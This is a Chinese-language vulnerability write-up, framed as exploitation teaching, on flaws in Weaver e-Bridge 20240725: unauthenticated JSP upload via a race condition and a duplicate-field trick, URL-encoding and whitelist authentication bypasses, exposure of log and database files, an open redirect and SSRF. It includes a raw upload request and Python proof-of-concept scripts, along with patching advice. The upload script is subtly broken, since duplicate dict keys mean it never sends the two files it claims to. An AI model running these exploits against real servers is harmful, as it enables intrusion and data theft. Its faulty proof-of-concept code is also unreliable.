泛微云桥20240725存在未授权文件上传fileUploadForCowork_fileUpload
字数 1539 2025-08-30 06:50:36

泛微云桥20240725安全漏洞分析与利用教学文档

漏洞概述

泛微云桥20240725版本存在多个安全漏洞,包括未授权文件上传、未授权文件访问、SSRF和URL跳转等。本教学文档将详细分析这些漏洞的原理、利用方法及防御措施。

一、未授权文件上传漏洞

1. 漏洞接口

存在漏洞的文件上传接口:

  1. /main/portal/uploadCoverOrBanner?fileElementId=ccc
  2. /main/wxpublic/message/saveImageMsgFodders
  3. /file/fileNoLogin/fileUploadForCowork/fileUpload

2. 漏洞原理

文件上传处理流程:

  1. 系统通过MultipartRequest函数接收并处理上传的文件
  2. 文件首先被写入服务器临时目录
  3. 然后通过isSafeFile函数检查文件后缀(过滤.jsp/.php等)
  4. 如果检测到危险后缀,则删除文件

漏洞成因:

  • 文件先保存后检查的流程设计缺陷
  • 可通过条件竞争或双文件上传绕过删除机制

3. 利用方法

方法一:条件竞争

  1. 使用多线程同时发送大量上传请求
  2. 在文件被删除前访问上传的文件

方法二:双文件上传

  1. 构造包含两个同名file字段的请求
  2. 系统处理时会覆盖第一个文件,循环只删除一个文件
  3. 导致另一个文件保留在服务器上

示例数据包:

POST /file/fileNoLogin/fileUploadForCowork/fileUpload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg

<% out.println("Hello World"); %>
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg

<% out.println("Hello World"); %>
------WebKitFormBoundary--

4. 访问上传文件

成功上传后,访问路径如:
http://target.com/202502/IE/111.jsp

二、权限认证绕过分析

1. 认证流程

  1. web.xml配置了JFinalFilter

  2. 请求经过多个处理器:

    • GlobalHandler:拦截.log/.sql/.db后缀
    • OutSysProxyHandler:处理路由
    • ActionHandler:根据URI获取actionMapping实例
  3. 拦截器检查:

    • GlobalInterceptor检查URI权限
    • 白名单URI绕过权限检查

2. 绕过方法

方法一:URL编码绕过

  • GlobalHandler使用request.getRequestURI()获取URI但未过滤
  • 可使用编码绕过.log/.sql/.db后缀检查
  • 例如:a.sq%6ca.sql

方法二:白名单URI

以下URI开头不检查权限:

  • /wxapi
  • /wxjsapi
  • /wxclient
  • /wxthirdapi
  • /file/fileNoLogin

方法三:ClearInterceptor注解

访问带有@ClearInterceptor注解的控制器方法可绕过权限检查

三、未授权文件访问

1. 漏洞接口

通过URL编码绕过可访问:

  • ROOT/log/目录下的日志文件
  • 任意.sql、.db文件

2. 利用方法

示例:

http://target.com/log/access.lo%67
http://target.com/data.d%62

四、其他漏洞

1. URL跳转

http://target.com/goModule.do?uri=http://www.evil.com

2. SSRF漏洞

后台存在SSRF漏洞,可探测内网

3. 目录遍历

通过DirectoryBroswerController可查看服务器目录

五、修复建议

  1. 及时安装官方补丁(先安装2023补丁再安装2024补丁)
  2. 文件上传修复:
    • 先检查后保存
    • 使用随机文件名
    • 限制上传目录不可执行
  3. 权限认证修复:
    • 严格校验URI
    • 限制白名单范围
    • @ClearInterceptor注解严格管控
  4. 日志文件保护:
    • 将日志文件存放在web目录外
    • 设置适当权限

六、漏洞验证POC

文件上传POC(Python示例)

import requests
import threading

url = "http://target.com/file/fileNoLogin/fileUploadForCowork/fileUpload"

def upload_file():
    files = {
        'file': ('test.jsp', '<% out.println("Hello World"); %>', 'image/jpeg'),
        'file': ('test.jsp', '<% out.println("Hello World"); %>', 'image/jpeg')
    }
    try:
        r = requests.post(url, files=files)
        print(r.text)
    except Exception as e:
        print(e)

# 多线程上传
threads = []
for i in range(10):
    t = threading.Thread(target=upload_file)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

文件访问POC

import requests

url = "http://target.com/log/access.lo%67"
r = requests.get(url)
print(r.text)

总结

泛微云桥20240725版本存在严重的安全漏洞,攻击者可利用这些漏洞实现未授权文件上传、服务器敏感信息泄露、内网探测等危害。建议用户及时更新补丁并按照修复建议加强系统安全防护。

泛微云桥20240725安全漏洞分析与利用教学文档 漏洞概述 泛微云桥20240725版本存在多个安全漏洞,包括未授权文件上传、未授权文件访问、SSRF和URL跳转等。本教学文档将详细分析这些漏洞的原理、利用方法及防御措施。 一、未授权文件上传漏洞 1. 漏洞接口 存在漏洞的文件上传接口: /main/portal/uploadCoverOrBanner?fileElementId=ccc /main/wxpublic/message/saveImageMsgFodders /file/fileNoLogin/fileUploadForCowork/fileUpload 2. 漏洞原理 文件上传处理流程: 系统通过 MultipartRequest 函数接收并处理上传的文件 文件首先被写入服务器临时目录 然后通过 isSafeFile 函数检查文件后缀(过滤.jsp/.php等) 如果检测到危险后缀,则删除文件 漏洞成因: 文件先保存后检查的流程设计缺陷 可通过条件竞争或双文件上传绕过删除机制 3. 利用方法 方法一:条件竞争 使用多线程同时发送大量上传请求 在文件被删除前访问上传的文件 方法二:双文件上传 构造包含两个同名file字段的请求 系统处理时会覆盖第一个文件,循环只删除一个文件 导致另一个文件保留在服务器上 示例数据包: 4. 访问上传文件 成功上传后,访问路径如: http://target.com/202502/IE/111.jsp 二、权限认证绕过分析 1. 认证流程 web.xml 配置了 JFinalFilter 请求经过多个处理器: GlobalHandler :拦截.log/.sql/.db后缀 OutSysProxyHandler :处理路由 ActionHandler :根据URI获取actionMapping实例 拦截器检查: GlobalInterceptor 检查URI权限 白名单URI绕过权限检查 2. 绕过方法 方法一:URL编码绕过 GlobalHandler 使用 request.getRequestURI() 获取URI但未过滤 可使用编码绕过.log/.sql/.db后缀检查 例如: a.sq%6c → a.sql 方法二:白名单URI 以下URI开头不检查权限: /wxapi /wxjsapi /wxclient /wxthirdapi /file/fileNoLogin 方法三: ClearInterceptor 注解 访问带有 @ClearInterceptor 注解的控制器方法可绕过权限检查 三、未授权文件访问 1. 漏洞接口 通过URL编码绕过可访问: ROOT/log/目录下的日志文件 任意.sql、.db文件 2. 利用方法 示例: 四、其他漏洞 1. URL跳转 2. SSRF漏洞 后台存在SSRF漏洞,可探测内网 3. 目录遍历 通过 DirectoryBroswerController 可查看服务器目录 五、修复建议 及时安装官方补丁(先安装2023补丁再安装2024补丁) 文件上传修复: 先检查后保存 使用随机文件名 限制上传目录不可执行 权限认证修复: 严格校验URI 限制白名单范围 对 @ClearInterceptor 注解严格管控 日志文件保护: 将日志文件存放在web目录外 设置适当权限 六、漏洞验证POC 文件上传POC(Python示例) 文件访问POC 总结 泛微云桥20240725版本存在严重的安全漏洞,攻击者可利用这些漏洞实现未授权文件上传、服务器敏感信息泄露、内网探测等危害。建议用户及时更新补丁并按照修复建议加强系统安全防护。